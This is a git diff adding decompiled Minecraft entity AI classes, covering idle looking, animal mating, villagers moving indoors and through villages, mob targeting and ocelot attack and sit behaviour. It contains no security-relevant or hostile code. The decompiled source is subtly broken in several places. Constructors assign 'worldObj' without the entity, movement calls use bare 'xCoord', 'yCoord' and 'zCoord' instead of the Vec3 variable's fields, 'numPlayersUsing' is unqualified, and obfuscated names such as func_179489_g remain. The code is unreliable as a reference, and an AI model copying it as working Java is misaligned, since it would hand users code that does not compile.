+
+
+
+
+public class EntityAILookIdle
+  extends EntityAIBase
+{
+  private EntityLiving idleEntity;
+  private double lookX;
+  private double lookZ;
+  private int idleTime;
+  private static final String __OBFID = "CL_00001607";
+  
+  public EntityAILookIdle(EntityLiving p_i1647_1_)
+  {
+    idleEntity = p_i1647_1_;
+    setMutexBits(3);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    return idleEntity.getRNG().nextFloat() < 0.02F;
+  }
+  
+
+
+
+  public boolean continueExecuting()
+  {
+    return idleTime >= 0;
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    double var1 = 6.283185307179586D * idleEntity.getRNG().nextDouble();
+    lookX = Math.cos(var1);
+    lookZ = Math.sin(var1);
+    idleTime = (20 + idleEntity.getRNG().nextInt(20));
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    idleTime -= 1;
+    idleEntity.getLookHelper().setLookPosition(idleEntity.posX + lookX, idleEntity.posY + idleEntity.getEyeHeight(), idleEntity.posZ + lookZ, 10.0F, idleEntity.getVerticalFaceSpeed());
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIMate.java b/src/minecraft/net/minecraft/entity/ai/EntityAIMate.java
new file mode 100644
index 0000000..2434766
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIMate.java
@@ -0,0 +1,162 @@
+package net.minecraft.entity.ai;
+
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.entity.EntityAgeable;
+import net.minecraft.entity.item.EntityXPOrb;
+import net.minecraft.entity.passive.EntityAnimal;
+import net.minecraft.entity.passive.EntityCow;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.stats.AchievementList;
+import net.minecraft.stats.StatList;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.World;
+
+
+
+public class EntityAIMate
+  extends EntityAIBase
+{
+  private EntityAnimal theAnimal;
+  World theWorld;
+  private EntityAnimal targetMate;
+  int spawnBabyDelay;
+  double moveSpeed;
+  private static final String __OBFID = "CL_00001578";
+  
+  public EntityAIMate(EntityAnimal p_i1619_1_, double p_i1619_2_)
+  {
+    theAnimal = p_i1619_1_;
+    theWorld = worldObj;
+    moveSpeed = p_i1619_2_;
+    setMutexBits(3);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (!theAnimal.isInLove())
+    {
+      return false;
+    }
+    
+
+    targetMate = getNearbyMate();
+    return targetMate != null;
+  }
+  
+
+
+
+
+  public boolean continueExecuting()
+  {
+    return (targetMate.isEntityAlive()) && (targetMate.isInLove()) && (spawnBabyDelay < 60);
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    targetMate = null;
+    spawnBabyDelay = 0;
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    theAnimal.getLookHelper().setLookPositionWithEntity(targetMate, 10.0F, theAnimal.getVerticalFaceSpeed());
+    theAnimal.getNavigator().tryMoveToEntityLiving(targetMate, moveSpeed);
+    spawnBabyDelay += 1;
+    
+    if ((spawnBabyDelay >= 60) && (theAnimal.getDistanceSqToEntity(targetMate) < 9.0D))
+    {
+      spawnBaby();
+    }
+  }
+  
+
+
+
+
+  private EntityAnimal getNearbyMate()
+  {
+    float var1 = 8.0F;
+    List var2 = theWorld.getEntitiesWithinAABB(theAnimal.getClass(), theAnimal.getEntityBoundingBox().expand(var1, var1, var1));
+    double var3 = Double.MAX_VALUE;
+    EntityAnimal var5 = null;
+    Iterator var6 = var2.iterator();
+    
+    while (var6.hasNext())
+    {
+      EntityAnimal var7 = (EntityAnimal)var6.next();
+      
+      if ((theAnimal.canMateWith(var7)) && (theAnimal.getDistanceSqToEntity(var7) < var3))
+      {
+        var5 = var7;
+        var3 = theAnimal.getDistanceSqToEntity(var7);
+      }
+    }
+    
+    return var5;
+  }
+  
+
+
+
+  private void spawnBaby()
+  {
+    EntityAgeable var1 = theAnimal.createChild(targetMate);
+    
+    if (var1 != null)
+    {
+      EntityPlayer var2 = theAnimal.func_146083_cb();
+      
+      if ((var2 == null) && (targetMate.func_146083_cb() != null))
+      {
+        var2 = targetMate.func_146083_cb();
+      }
+      
+      if (var2 != null)
+      {
+        var2.triggerAchievement(StatList.animalsBredStat);
+        
+        if ((theAnimal instanceof EntityCow))
+        {
+          var2.triggerAchievement(AchievementList.breedCow);
+        }
+      }
+      
+      theAnimal.setGrowingAge(6000);
+      targetMate.setGrowingAge(6000);
+      theAnimal.resetInLove();
+      targetMate.resetInLove();
+      var1.setGrowingAge(41536);
+      var1.setLocationAndAngles(theAnimal.posX, theAnimal.posY, theAnimal.posZ, 0.0F, 0.0F);
+      theWorld.spawnEntityInWorld(var1);
+      Random var3 = theAnimal.getRNG();
+      
+      for (int var4 = 0; var4 < 7; var4++)
+      {
+        double var5 = var3.nextGaussian() * 0.02D;
+        double var7 = var3.nextGaussian() * 0.02D;
+        double var9 = var3.nextGaussian() * 0.02D;
+        theWorld.spawnParticle(EnumParticleTypes.HEART, theAnimal.posX + var3.nextFloat() * theAnimal.width * 2.0F - theAnimal.width, theAnimal.posY + 0.5D + var3.nextFloat() * theAnimal.height, theAnimal.posZ + var3.nextFloat() * theAnimal.width * 2.0F - theAnimal.width, var5, var7, var9, new int[0]);
+      }
+      
+      if (theWorld.getGameRules().getGameRuleBooleanValue("doMobLoot"))
+      {
+        theWorld.spawnEntityInWorld(new EntityXPOrb(theWorld, theAnimal.posX, theAnimal.posY, theAnimal.posZ, var3.nextInt(7) + 1));
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIMoveIndoors.java b/src/minecraft/net/minecraft/entity/ai/EntityAIMoveIndoors.java
new file mode 100644
index 0000000..a13075b
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIMoveIndoors.java
@@ -0,0 +1,104 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.Vec3;
+import net.minecraft.village.VillageDoorInfo;
+import net.minecraft.world.World;
+
+public class EntityAIMoveIndoors extends EntityAIBase
+{
+  private EntityCreature entityObj;
+  private VillageDoorInfo doorInfo;
+  private int insidePosX = -1;
+  private int insidePosZ = -1;
+  private static final String __OBFID = "CL_00001596";
+  
+  public EntityAIMoveIndoors(EntityCreature p_i1637_1_)
+  {
+    entityObj = p_i1637_1_;
+    setMutexBits(1);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    BlockPos var1 = new BlockPos(entityObj);
+    
+    if (((!entityObj.worldObj.isDaytime()) || ((entityObj.worldObj.isRaining()) && (!entityObj.worldObj.getBiomeGenForCoords(var1).canSpawnLightningBolt()))) && (!entityObj.worldObj.provider.getHasNoSky()))
+    {
+      if (entityObj.getRNG().nextInt(50) != 0)
+      {
+        return false;
+      }
+      if ((insidePosX != -1) && (entityObj.getDistanceSq(insidePosX, entityObj.posY, insidePosZ) < 4.0D))
+      {
+        return false;
+      }
+      
+
+      net.minecraft.village.Village var2 = entityObj.worldObj.getVillageCollection().func_176056_a(var1, 14);
+      
+      if (var2 == null)
+      {
+        return false;
+      }
+      
+
+      doorInfo = var2.func_179863_c(var1);
+      return doorInfo != null;
+    }
+    
+
+
+
+    return false;
+  }
+  
+
+
+
+
+  public boolean continueExecuting()
+  {
+    return !entityObj.getNavigator().noPath();
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    insidePosX = -1;
+    BlockPos var1 = doorInfo.func_179856_e();
+    int var2 = var1.getX();
+    int var3 = var1.getY();
+    int var4 = var1.getZ();
+    
+    if (entityObj.getDistanceSq(var1) > 256.0D)
+    {
+      Vec3 var5 = RandomPositionGenerator.findRandomTargetBlockTowards(entityObj, 14, 3, new Vec3(var2 + 0.5D, var3, var4 + 0.5D));
+      
+      if (var5 != null)
+      {
+        entityObj.getNavigator().tryMoveToXYZ(xCoord, yCoord, zCoord, 1.0D);
+      }
+    }
+    else
+    {
+      entityObj.getNavigator().tryMoveToXYZ(var2 + 0.5D, var3, var4 + 0.5D, 1.0D);
+    }
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    insidePosX = doorInfo.func_179856_e().getX();
+    insidePosZ = doorInfo.func_179856_e().getZ();
+    doorInfo = null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIMoveThroughVillage.java b/src/minecraft/net/minecraft/entity/ai/EntityAIMoveThroughVillage.java
new file mode 100644
index 0000000..d0ef283
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIMoveThroughVillage.java
@@ -0,0 +1,183 @@
+package net.minecraft.entity.ai;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.pathfinding.PathEntity;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3;
+import net.minecraft.village.Village;
+import net.minecraft.village.VillageDoorInfo;
+import net.minecraft.world.World;
+
+public class EntityAIMoveThroughVillage extends EntityAIBase
+{
+  private EntityCreature theEntity;
+  private double movementSpeed;
+  private PathEntity entityPathNavigate;
+  private VillageDoorInfo doorInfo;
+  private boolean isNocturnal;
+  private List doorList = Lists.newArrayList();
+  private static final String __OBFID = "CL_00001597";
+  
+  public EntityAIMoveThroughVillage(EntityCreature p_i1638_1_, double p_i1638_2_, boolean p_i1638_4_)
+  {
+    theEntity = p_i1638_1_;
+    movementSpeed = p_i1638_2_;
+    isNocturnal = p_i1638_4_;
+    setMutexBits(1);
+    
+    if (!(p_i1638_1_.getNavigator() instanceof PathNavigateGround))
+    {
+      throw new IllegalArgumentException("Unsupported mob for MoveThroughVillageGoal");
+    }
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    func_75414_f();
+    
+    if ((isNocturnal) && (theEntity.worldObj.isDaytime()))
+    {
+      return false;
+    }
+    
+
+    Village var1 = theEntity.worldObj.getVillageCollection().func_176056_a(new BlockPos(theEntity), 0);
+    
+    if (var1 == null)
+    {
+      return false;
+    }
+    
+
+    doorInfo = func_75412_a(var1);
+    
+    if (doorInfo == null)
+    {
+      return false;
+    }
+    
+
+    PathNavigateGround var2 = (PathNavigateGround)theEntity.getNavigator();
+    boolean var3 = var2.func_179686_g();
+    var2.func_179688_b(false);
+    entityPathNavigate = var2.func_179680_a(doorInfo.func_179852_d());
+    var2.func_179688_b(var3);
+    
+    if (entityPathNavigate != null)
+    {
+      return true;
+    }
+    
+
+    Vec3 var4 = RandomPositionGenerator.findRandomTargetBlockTowards(theEntity, 10, 7, new Vec3(doorInfo.func_179852_d().getX(), doorInfo.func_179852_d().getY(), doorInfo.func_179852_d().getZ()));
+    
+    if (var4 == null)
+    {
+      return false;
+    }
+    
+
+    var2.func_179688_b(false);
+    entityPathNavigate = theEntity.getNavigator().getPathToXYZ(xCoord, yCoord, zCoord);
+    var2.func_179688_b(var3);
+    return entityPathNavigate != null;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean continueExecuting()
+  {
+    if (theEntity.getNavigator().noPath())
+    {
+      return false;
+    }
+    
+
+    float var1 = theEntity.width + 4.0F;
+    return theEntity.getDistanceSq(doorInfo.func_179852_d()) > var1 * var1;
+  }
+  
+
+
+
+
+  public void startExecuting()
+  {
+    theEntity.getNavigator().setPath(entityPathNavigate, movementSpeed);
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    if ((theEntity.getNavigator().noPath()) || (theEntity.getDistanceSq(doorInfo.func_179852_d()) < 16.0D))
+    {
+      doorList.add(doorInfo);
+    }
+  }
+  
+  private VillageDoorInfo func_75412_a(Village p_75412_1_)
+  {
+    VillageDoorInfo var2 = null;
+    int var3 = Integer.MAX_VALUE;
+    List var4 = p_75412_1_.getVillageDoorInfoList();
+    Iterator var5 = var4.iterator();
+    
+    while (var5.hasNext())
+    {
+      VillageDoorInfo var6 = (VillageDoorInfo)var5.next();
+      int var7 = var6.getDistanceSquared(MathHelper.floor_double(theEntity.posX), MathHelper.floor_double(theEntity.posY), MathHelper.floor_double(theEntity.posZ));
+      
+      if ((var7 < var3) && (!func_75413_a(var6)))
+      {
+        var2 = var6;
+        var3 = var7;
+      }
+    }
+    
+    return var2;
+  }
+  
+  private boolean func_75413_a(VillageDoorInfo p_75413_1_)
+  {
+    Iterator var2 = doorList.iterator();
+    
+    VillageDoorInfo var3;
+    do
+    {
+      if (!var2.hasNext())
+      {
+        return false;
+      }
+      
+      var3 = (VillageDoorInfo)var2.next();
+    }
+    while (!p_75413_1_.func_179852_d().equals(var3.func_179852_d()));
+    
+    return true;
+  }
+  
+  private void func_75414_f()
+  {
+    if (doorList.size() > 15)
+    {
+      doorList.remove(0);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIMoveToBlock.java b/src/minecraft/net/minecraft/entity/ai/EntityAIMoveToBlock.java
new file mode 100644
index 0000000..6a30d5f
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIMoveToBlock.java
@@ -0,0 +1,125 @@
+package net.minecraft.entity.ai;
+
+import java.util.Random;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.util.BlockPos;
+
+public abstract class EntityAIMoveToBlock extends EntityAIBase
+{
+  private final EntityCreature field_179495_c;
+  private final double field_179492_d;
+  protected int field_179496_a;
+  private int field_179493_e;
+  private int field_179490_f;
+  protected BlockPos field_179494_b;
+  private boolean field_179491_g;
+  private int field_179497_h;
+  private static final String __OBFID = "CL_00002252";
+  
+  public EntityAIMoveToBlock(EntityCreature p_i45888_1_, double p_i45888_2_, int p_i45888_4_)
+  {
+    field_179494_b = BlockPos.ORIGIN;
+    field_179495_c = p_i45888_1_;
+    field_179492_d = p_i45888_2_;
+    field_179497_h = p_i45888_4_;
+    setMutexBits(5);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (field_179496_a > 0)
+    {
+      field_179496_a -= 1;
+      return false;
+    }
+    
+
+    field_179496_a = (200 + field_179495_c.getRNG().nextInt(200));
+    return func_179489_g();
+  }
+  
+
+
+
+
+  public boolean continueExecuting()
+  {
+    return (field_179493_e >= -field_179490_f) && (field_179493_e <= 1200) && (func_179488_a(field_179495_c.worldObj, field_179494_b));
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    field_179495_c.getNavigator().tryMoveToXYZ(field_179494_b.getX() + 0.5D, field_179494_b.getY() + 1, field_179494_b.getZ() + 0.5D, field_179492_d);
+    field_179493_e = 0;
+    field_179490_f = (field_179495_c.getRNG().nextInt(field_179495_c.getRNG().nextInt(1200) + 1200) + 1200);
+  }
+  
+
+
+
+  public void resetTask() {}
+  
+
+
+
+  public void updateTask()
+  {
+    if (field_179495_c.func_174831_c(field_179494_b.offsetUp()) > 1.0D)
+    {
+      field_179491_g = false;
+      field_179493_e += 1;
+      
+      if (field_179493_e % 40 == 0)
+      {
+        field_179495_c.getNavigator().tryMoveToXYZ(field_179494_b.getX() + 0.5D, field_179494_b.getY() + 1, field_179494_b.getZ() + 0.5D, field_179492_d);
+      }
+    }
+    else
+    {
+      field_179491_g = true;
+      field_179493_e -= 1;
+    }
+  }
+  
+  protected boolean func_179487_f()
+  {
+    return field_179491_g;
+  }
+  
+  private boolean func_179489_g()
+  {
+    int var1 = field_179497_h;
+    boolean var2 = true;
+    BlockPos var3 = new BlockPos(field_179495_c);
+    
+    for (int var4 = 0; var4 <= 1; var4 = var4 > 0 ? -var4 : 1 - var4)
+    {
+      for (int var5 = 0; var5 < var1; var5++)
+      {
+        for (int var6 = 0; var6 <= var5; var6 = var6 > 0 ? -var6 : 1 - var6)
+        {
+          for (int var7 = (var6 < var5) && (var6 > -var5) ? var5 : 0; var7 <= var5; var7 = var7 > 0 ? -var7 : 1 - var7)
+          {
+            BlockPos var8 = var3.add(var6, var4 - 1, var7);
+            
+            if ((field_179495_c.func_180485_d(var8)) && (func_179488_a(field_179495_c.worldObj, var8)))
+            {
+              field_179494_b = var8;
+              return true;
+            }
+          }
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+  protected abstract boolean func_179488_a(net.minecraft.world.World paramWorld, BlockPos paramBlockPos);
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIMoveTowardsRestriction.java b/src/minecraft/net/minecraft/entity/ai/EntityAIMoveTowardsRestriction.java
new file mode 100644
index 0000000..35e91d3
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIMoveTowardsRestriction.java
@@ -0,0 +1,66 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.Vec3;
+
+public class EntityAIMoveTowardsRestriction extends EntityAIBase
+{
+  private EntityCreature theEntity;
+  private double movePosX;
+  private double movePosY;
+  private double movePosZ;
+  private double movementSpeed;
+  private static final String __OBFID = "CL_00001598";
+  
+  public EntityAIMoveTowardsRestriction(EntityCreature p_i2347_1_, double p_i2347_2_)
+  {
+    theEntity = p_i2347_1_;
+    movementSpeed = p_i2347_2_;
+    setMutexBits(1);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (theEntity.isWithinHomeDistanceCurrentPosition())
+    {
+      return false;
+    }
+    
+
+    BlockPos var1 = theEntity.func_180486_cf();
+    Vec3 var2 = RandomPositionGenerator.findRandomTargetBlockTowards(theEntity, 16, 7, new Vec3(var1.getX(), var1.getY(), var1.getZ()));
+    
+    if (var2 == null)
+    {
+      return false;
+    }
+    
+
+    movePosX = xCoord;
+    movePosY = yCoord;
+    movePosZ = zCoord;
+    return true;
+  }
+  
+
+
+
+
+
+  public boolean continueExecuting()
+  {
+    return !theEntity.getNavigator().noPath();
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    theEntity.getNavigator().tryMoveToXYZ(movePosX, movePosY, movePosZ, movementSpeed);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIMoveTowardsTarget.java b/src/minecraft/net/minecraft/entity/ai/EntityAIMoveTowardsTarget.java
new file mode 100644
index 0000000..fe21fd3
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIMoveTowardsTarget.java
@@ -0,0 +1,86 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.util.Vec3;
+
+
+
+public class EntityAIMoveTowardsTarget
+  extends EntityAIBase
+{
+  private EntityCreature theEntity;
+  private EntityLivingBase targetEntity;
+  private double movePosX;
+  private double movePosY;
+  private double movePosZ;
+  private double speed;
+  private float maxTargetDistance;
+  private static final String __OBFID = "CL_00001599";
+  
+  public EntityAIMoveTowardsTarget(EntityCreature p_i1640_1_, double p_i1640_2_, float p_i1640_4_)
+  {
+    theEntity = p_i1640_1_;
+    speed = p_i1640_2_;
+    maxTargetDistance = p_i1640_4_;
+    setMutexBits(1);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    targetEntity = theEntity.getAttackTarget();
+    
+    if (targetEntity == null)
+    {
+      return false;
+    }
+    if (targetEntity.getDistanceSqToEntity(theEntity) > maxTargetDistance * maxTargetDistance)
+    {
+      return false;
+    }
+    
+
+    Vec3 var1 = RandomPositionGenerator.findRandomTargetBlockTowards(theEntity, 16, 7, new Vec3(targetEntity.posX, targetEntity.posY, targetEntity.posZ));
+    
+    if (var1 == null)
+    {
+      return false;
+    }
+    
+
+    movePosX = xCoord;
+    movePosY = yCoord;
+    movePosZ = zCoord;
+    return true;
+  }
+  
+
+
+
+
+
+  public boolean continueExecuting()
+  {
+    return (!theEntity.getNavigator().noPath()) && (targetEntity.isEntityAlive()) && (targetEntity.getDistanceSqToEntity(theEntity) < maxTargetDistance * maxTargetDistance);
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    targetEntity = null;
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    theEntity.getNavigator().tryMoveToXYZ(movePosX, movePosY, movePosZ, speed);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAINearestAttackableTarget.java b/src/minecraft/net/minecraft/entity/ai/EntityAINearestAttackableTarget.java
new file mode 100644
index 0000000..9aece24
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAINearestAttackableTarget.java
@@ -0,0 +1,153 @@
+package net.minecraft.entity.ai;
+
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.command.IEntitySelector;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.world.World;
+
+
+
+
+public class EntityAINearestAttackableTarget
+  extends EntityAITarget
+{
+  protected final Class targetClass;
+  private final int targetChance;
+  protected final Sorter theNearestAttackableTargetSorter;
+  protected Predicate targetEntitySelector;
+  protected EntityLivingBase targetEntity;
+  private static final String __OBFID = "CL_00001620";
+  
+  public EntityAINearestAttackableTarget(EntityCreature p_i45878_1_, Class p_i45878_2_, boolean p_i45878_3_)
+  {
+    this(p_i45878_1_, p_i45878_2_, p_i45878_3_, false);
+  }
+  
+  public EntityAINearestAttackableTarget(EntityCreature p_i45879_1_, Class p_i45879_2_, boolean p_i45879_3_, boolean p_i45879_4_)
+  {
+    this(p_i45879_1_, p_i45879_2_, 10, p_i45879_3_, p_i45879_4_, null);
+  }
+  
+  public EntityAINearestAttackableTarget(EntityCreature p_i45880_1_, Class p_i45880_2_, int p_i45880_3_, boolean p_i45880_4_, boolean p_i45880_5_, final Predicate p_i45880_6_)
+  {
+    super(p_i45880_1_, p_i45880_4_, p_i45880_5_);
+    targetClass = p_i45880_2_;
+    targetChance = p_i45880_3_;
+    theNearestAttackableTargetSorter = new Sorter(p_i45880_1_);
+    setMutexBits(1);
+    targetEntitySelector = new Predicate()
+    {
+      private static final String __OBFID = "CL_00001621";
+      
+      public boolean func_179878_a(EntityLivingBase p_179878_1_) {
+        if ((p_i45880_6_ != null) && (!p_i45880_6_.apply(p_179878_1_)))
+        {
+          return false;
+        }
+        
+
+        if ((p_179878_1_ instanceof EntityPlayer))
+        {
+          double var2 = getTargetDistance();
+          
+          if (p_179878_1_.isSneaking())
+          {
+            var2 *= 0.800000011920929D;
+          }
+          
+          if (p_179878_1_.isInvisible())
+          {
+            float var4 = ((EntityPlayer)p_179878_1_).getArmorVisibility();
+            
+            if (var4 < 0.1F)
+            {
+              var4 = 0.1F;
+            }
+            
+            var2 *= 0.7F * var4;
+          }
+          
+          if (p_179878_1_.getDistanceToEntity(taskOwner) > var2)
+          {
+            return false;
+          }
+        }
+        
+        return isSuitableTarget(p_179878_1_, false);
+      }
+      
+      public boolean apply(Object p_apply_1_)
+      {
+        return func_179878_a((EntityLivingBase)p_apply_1_);
+      }
+    };
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if ((targetChance > 0) && (taskOwner.getRNG().nextInt(targetChance) != 0))
+    {
+      return false;
+    }
+    
+
+    double var1 = getTargetDistance();
+    List var3 = taskOwner.worldObj.func_175647_a(targetClass, taskOwner.getEntityBoundingBox().expand(var1, 4.0D, var1), Predicates.and(targetEntitySelector, IEntitySelector.field_180132_d));
+    Collections.sort(var3, theNearestAttackableTargetSorter);
+    
+    if (var3.isEmpty())
+    {
+      return false;
+    }
+    
+
+    targetEntity = ((EntityLivingBase)var3.get(0));
+    return true;
+  }
+  
+
+
+
+
+
+  public void startExecuting()
+  {
+    taskOwner.setAttackTarget(targetEntity);
+    super.startExecuting();
+  }
+  
+  public static class Sorter implements Comparator
+  {
+    private final Entity theEntity;
+    private static final String __OBFID = "CL_00001622";
+    
+    public Sorter(Entity p_i1662_1_)
+    {
+      theEntity = p_i1662_1_;
+    }
+    
+    public int compare(Entity p_compare_1_, Entity p_compare_2_)
+    {
+      double var3 = theEntity.getDistanceSqToEntity(p_compare_1_);
+      double var5 = theEntity.getDistanceSqToEntity(p_compare_2_);
+      return var3 > var5 ? 1 : var3 < var5 ? -1 : 0;
+    }
+    
+    public int compare(Object p_compare_1_, Object p_compare_2_)
+    {
+      return compare((Entity)p_compare_1_, (Entity)p_compare_2_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIOcelotAttack.java b/src/minecraft/net/minecraft/entity/ai/EntityAIOcelotAttack.java
new file mode 100644
index 0000000..70fc06d
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIOcelotAttack.java
@@ -0,0 +1,88 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.pathfinding.PathNavigate;
+
+public class EntityAIOcelotAttack extends EntityAIBase
+{
+  net.minecraft.world.World theWorld;
+  EntityLiving theEntity;
+  EntityLivingBase theVictim;
+  int attackCountdown;
+  private static final String __OBFID = "CL_00001600";
+  
+  public EntityAIOcelotAttack(EntityLiving p_i1641_1_)
+  {
+    theEntity = p_i1641_1_;
+    theWorld = worldObj;
+    setMutexBits(3);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    EntityLivingBase var1 = theEntity.getAttackTarget();
+    
+    if (var1 == null)
+    {
+      return false;
+    }
+    
+
+    theVictim = var1;
+    return true;
+  }
+  
+
+
+
+
+  public boolean continueExecuting()
+  {
+    return theVictim.isEntityAlive();
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    theVictim = null;
+    theEntity.getNavigator().clearPathEntity();
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    theEntity.getLookHelper().setLookPositionWithEntity(theVictim, 30.0F, 30.0F);
+    double var1 = theEntity.width * 2.0F * theEntity.width * 2.0F;
+    double var3 = theEntity.getDistanceSq(theVictim.posX, theVictim.getEntityBoundingBox().minY, theVictim.posZ);
+    double var5 = 0.8D;
+    
+    if ((var3 > var1) && (var3 < 16.0D))
+    {
+      var5 = 1.33D;
+    }
+    else if (var3 < 225.0D)
+    {
+      var5 = 0.6D;
+    }
+    
+    theEntity.getNavigator().tryMoveToEntityLiving(theVictim, var5);
+    attackCountdown = Math.max(attackCountdown - 1, 0);
+    
+    if (var3 <= var1)
+    {
+      if (attackCountdown <= 0)
+      {
+        attackCountdown = 20;
+        theEntity.attackEntityAsMob(theVictim);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIOcelotSit.java b/src/minecraft/net/minecraft/entity/ai/EntityAIOcelotSit.java
new file mode 100644
index 0000000..147c5dd
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIOcelotSit.java
@@ -0,0 +1,111 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockBed;
+import net.minecraft.block.BlockBed.EnumPartType;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.passive.EntityOcelot;
+import net.minecraft.init.Blocks;
+import net.minecraft.tileentity.TileEntityChest;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class EntityAIOcelotSit extends EntityAIMoveToBlock
+{
+  private final EntityOcelot field_151493_a;
+  private static final String __OBFID = "CL_00001601";
+  
+  public EntityAIOcelotSit(EntityOcelot p_i45315_1_, double p_i45315_2_)
+  {
+    super(p_i45315_1_, p_i45315_2_, 8);
+    field_151493_a = p_i45315_1_;
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    return (field_151493_a.isTamed()) && (!field_151493_a.isSitting()) && (super.shouldExecute());
+  }
+  
+
+
+
+  public boolean continueExecuting()
+  {
+    return super.continueExecuting();
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    super.startExecuting();
+    field_151493_a.getAISit().setSitting(false);
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    super.resetTask();
+    field_151493_a.setSitting(false);
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    super.updateTask();
+    field_151493_a.getAISit().setSitting(false);
+    
+    if (!func_179487_f())
+    {
+      field_151493_a.setSitting(false);
+    }
+    else if (!field_151493_a.isSitting())
+    {
+      field_151493_a.setSitting(true);
+    }
+  }
+  
+  protected boolean func_179488_a(World worldIn, BlockPos p_179488_2_)
+  {
+    if (!worldIn.isAirBlock(p_179488_2_.offsetUp()))
+    {
+      return false;
+    }
+    
+
+    IBlockState var3 = worldIn.getBlockState(p_179488_2_);
+    Block var4 = var3.getBlock();
+    
+    if (var4 == Blocks.chest)
+    {
+      net.minecraft.tileentity.TileEntity var5 = worldIn.getTileEntity(p_179488_2_);
+      
+      if (((var5 instanceof TileEntityChest)) && (numPlayersUsing < 1))
+      {
+        return true;
+      }
+    }
+    else
+    {
+      if (var4 == Blocks.lit_furnace)
+      {
+        return true;
+      }
+      
+      if ((var4 == Blocks.bed) && (var3.getValue(BlockBed.PART_PROP) != BlockBed.EnumPartType.HEAD))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIOpenDoor.java b/src/minecraft/net/minecraft/entity/ai/EntityAIOpenDoor.java
new file mode 100644
index 0000000..e7590ca
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIOpenDoor.java
@@ -0,0 +1,59 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.block.BlockDoor;
+import net.minecraft.entity.EntityLiving;
+
+
+
+
+public class EntityAIOpenDoor
